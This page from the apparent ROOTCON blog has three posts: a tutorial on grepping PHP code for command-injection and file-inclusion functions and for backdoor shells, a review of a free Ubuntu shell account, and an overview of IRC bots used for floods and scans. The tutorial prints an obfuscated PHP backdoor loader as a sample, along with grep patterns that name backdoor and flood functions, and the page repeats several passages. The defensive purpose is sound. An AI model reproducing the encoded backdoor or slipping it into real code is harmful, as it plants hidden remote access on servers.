Showing posts with label botnets. Show all posts
Showing posts with label botnets. Show all posts
Thursday, April 26, 2012
Simple Kung Fu Grep for Finding Common Web Vulnerabilities & Backdoor Shells
Labels:
backdoor shells,
base64_decode,
botnets,
command injection,
command-line,
eval,
grep,
kung fu,
lfi,
pBot,
shell_exec,
terminal emulator,
udpflood,
vulnerabilities
Grep is a powerful command-line tool in Unix and Linux used for searching and probing data sets for lines that matches a regular expression. As a short history, this utility was coded by Ken Thompson on March 3, 1973 for Unix.
Here is a sample or common usage of the said tool for searching a text string pBot in my php file bot.php:
grep pbot bot.php
The very reason why most web applications can be easily hacked or pawned because of insecure codes and functions that can be exploited. Take for example command injection or also known as remote code execution in terms of web exploitation, can be possible to a certain website accepts added strings of characters or arguments; the inputs are used as arguments for executing the command in the web server. And because most vulnerable web applications use the shell_exec function. We can use the grep command to search for the shell_exec in as our advantage in our /var/www directory to check for the possible PHP files that are vulnerable to RCE or command injection. Here is the command:
grep -Rn "shell_exec *( " /var/www
Another example: the include, require, include_once and require_once functions which are common PHP functions in a vulnerable script that is possible for LFI or Local File Inclusion which is a kind of exploit or vulnerability that allows an attacker to inject directory traversal characters on a certain website.
Again, we can use these functions for searching possible vulnerable scripts in our web server:
grep -Rn "include *(" /var/www
grep -Rn "require *(" /var/www
grep -Rn "include_once *(" /var/www
grep -Rn "require_once *(" /var/www
Grepping for Backdoor Shells and other Malicious Files
Backdoors are used by web defacers and hackers to maintain access on the web server which allows them to execute arbitrary commands, download files, edit files, and for back-connection. Most backdoor shells use the shell_exec function for command execution. And because most anti-viruses and rootkit scanners can detect backdoor shells, attackers use PHP encoders for evasion. But because functions like base64_decode and eval are used in this technique, they can't escape the wrath of grep. Here is a sample backdoor shell that has upload and system information functions only encoded using Carbylamine PHP Encoder:
<?php function KJnPCP($XZK)
{
$XZK=gzinflate(base64_decode($XZK));
for($i=0;$i<strlen($XZK);$i++)
{
$XZK[$i] = chr(ord($XZK[$i])-1);
}
return $XZK;
}
eval(KJnPCP("U1QEAm4gzkrXzCopSSvVVE3wcAuN0SjJTMvN1YjT0lJMS8ks
0FS2LSxOs1fWBwsnpFWmpaAp1FdWVFfW0le2NQAr1LLBZmhhZiHCyLTypF
zNktLirMKUktwkoDElaMqwmwHSizAEVdCG28GeGwA="));
?>
Aside from shell_exec, base64_decode, and eval; here are other functions used by PHP backdoor shells:
phpinfo
system
php_uname
chmod
fopen
flclose
readfile
edoced_46esab
passthru
Thus you could also easliy grep these functions:
grep -Rn "passthru *(" /var/www
In my recent analysis, some of these functions are used by IRC bots that have malicious functions like vulnerability scanners, automatic backdoor bots, DoS bots, udpflooder bots, etc.
References:
http://25yearsofprogramming.com/blog/2010/20100315.htm
http://php.net/
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
phpinfo
system
php_uname
chmod
fopen
flclose
readfile
edoced_46esab
passthru
Thus you could also easliy grep these functions:
grep -Rn "shell_exec *(" /var/www
grep -Rn "eval *(" /var/www
grep -Rn "base64_decode *(" /var/www
grep -Rn "phpinfo *(" /var/www
grep -Rn "system *(" /var/www
grep -Rn "php_uname *(" /var/www
grep -Rn "chmod *(" /var/www
grep -Rn "fopen *(" /var/www
grep -Rn "fclose *(" /var/www
grep -Rn "readfile *(" /var/www
grep -Rn "edoced_46esab *(" /var/www
grep -Rn "passthru *(" /var/www
Oh, and you might wanna add tcpflood and udpflood strings for grepping malicious files too because these are commonly used by IRC bots that have udpflood and tcpflood functions.
What you saw from the image above is a sample of a pBot which is a PHP IRC bot used by some attackers to initiate DDoS (Distributed Denial of Service) / DoS (Denial of Service) attacks.
We can also list all these common functions by using this command in your terminal:
We can also list all these common functions by using this command in your terminal:
grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" /var/wwwReferences:
http://25yearsofprogramming.com/blog/2010/20100315.htm
http://php.net/
About the Contributor:
Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Thursday, August 18, 2011
Cool Ubuntu Shell Account
Labels:
bash scripting,
botnets,
filipino hackers,
free shell account,
GCC,
hackers,
IRC,
Irssi,
Linux,
NVITA,
open source,
Shell account,
skills
Good news for Ubuntu fans and shell enthusiasts out there. Nvita.org is offering a Ubuntu shell account that provides users with access to softwares and services like GCC (GNU Compiler Collection), IRC access, Irrsi, background processes, FTP (File Transfer Protocol), and text editors (like nano and vi) for free.
Yes! You are not dreaming, this is true and not only that, the shell account could also be used for tunneling. Honestly, I do love their service because I love free stuffs. This kind of project really conforms to the philosophy of Richard Stallman about Open Source and Free Software. This is the power of Linux and the GNU Project!
NVITA (Northern Virginia Information Technology Association) deserves recognition for their excellent shell project which has the latest Ubuntu 11.04 as its Operating System (Linux Ubuntu 2.6.35-22-generic-pae #33-Ubuntu SMP Build Server). Unlike other shell providers, NVITA also allows users to install packages with their permission.
But there are some flaws in their project because they allow too much background which could possibly be used for illegal activities. We could not deny the fact that some users may tend to abuse their privileges as a user like using it for udpflooding, tcpflooding, hosting botnets, scanning SSH, etc. because of allowing too much background processes. Maybe next time they should put some limit to prevent abuses in their server.
But there are some flaws in their project because they allow too much background which could possibly be used for illegal activities. We could not deny the fact that some users may tend to abuse their privileges as a user like using it for udpflooding, tcpflooding, hosting botnets, scanning SSH, etc. because of allowing too much background processes. Maybe next time they should put some limit to prevent abuses in their server.
But in the long run, NVITA is still one of the best shell account providers for allowing us to connect to their server with good services despite the said flaws. NVITA offered free shells which are not meant to be abused but meant for a purpose thus we should use it ethically. It’s now up to the user where he wants to use it as long as it does not violate the ethical laws of Internet and computers.
About the Contributor:
Shipcode is an InfoSec enthusiast from Cebu. During his high school days he was just an ordinary script kiddie. He loves to search for web exploits and other issues concerning network / wireless security.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved.Designated trademarks, brands and articles are the property of their respective owners.
Sunday, July 17, 2011
The Artificial Lurkers of IRC
Labels:
botnets,
bots,
crackers,
filipino hackers,
hackers,
IRC,
IRC bots,
pinoy hackers,
underground hackers
I guess most of you are familiar with the IRC or the Internet Relay Chat. According to Wiki, IRC is a form of real-time Internet text messaging (chat) or synchronous conferencing. It is mainly designed for group communication in discussion forums, called channels, but also allows one-to-one communication via private message as well as chat and data transfer, including file sharing.
But is IRC still alive these days? Yes it is, in fact it is the home of underground hackers and crackers, to name a few; defacers, rooters, carders, script kiddies, hardcore Linux users, etc. IRC is often referred as a primitive way of chatting because of its style and because of the new generation of voice and video chatting just like Tinychat and Facebook. And because of Facebook, some of the teenagers don't even know how to use IRC clients.
But of course, we will not deal more about how to use it and where to have a good chat mate. Instead we will talk about some of the hidden agendas of IRC users and the dark side of IRC. Forgive me for referring to it as the dark side thingy but that's what other IRC users usually call it.
In IRC there are some users that have botnets or bots in their channel which can do ; udpflooding, check for vulnerable websites, portscanning, nmap, sqli, rfi, lfi, check for good credit cards and many more. These botnets are coded in languages like perl, php and python.
In fact, some of these bots are hosted on a hacked or rooted boxes or even websites that have backdoor shells. Users with bad intentions like doing a DDoS attack would not run their scripts on their own machine in order to avoid getting traced or caught.
The images below are screenshots I took and uploaded so that people may be aware that these kinds of lurkers exist in the cyber world and could also be a threat or an advantage.
Thus it would be easier to say that an IRC bot is an independent program or script that connects to IRC as one of the clients but differs to other clients because it performs automated functions.
Nowadays, these bots are often scattered in public channels and who knows, you may be able to encounter one. Now don't panic, they won't infect you, they are just waiting for their handlers to command them. Like I said, they are different from infecting botnets like the Zeus Bot.
The bots shown here are for educational purposes only, no live accounts and servers were tested and rooted in order to run these scripts.
About the Contributor:
Shipcode is an InfoSec enthusiast from Cebu. During his high school days he was just an ordinary script kiddie. He loves to search for web exploits and other issues concerning network / wireless security.
ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.
Subscribe to:
Posts (Atom)
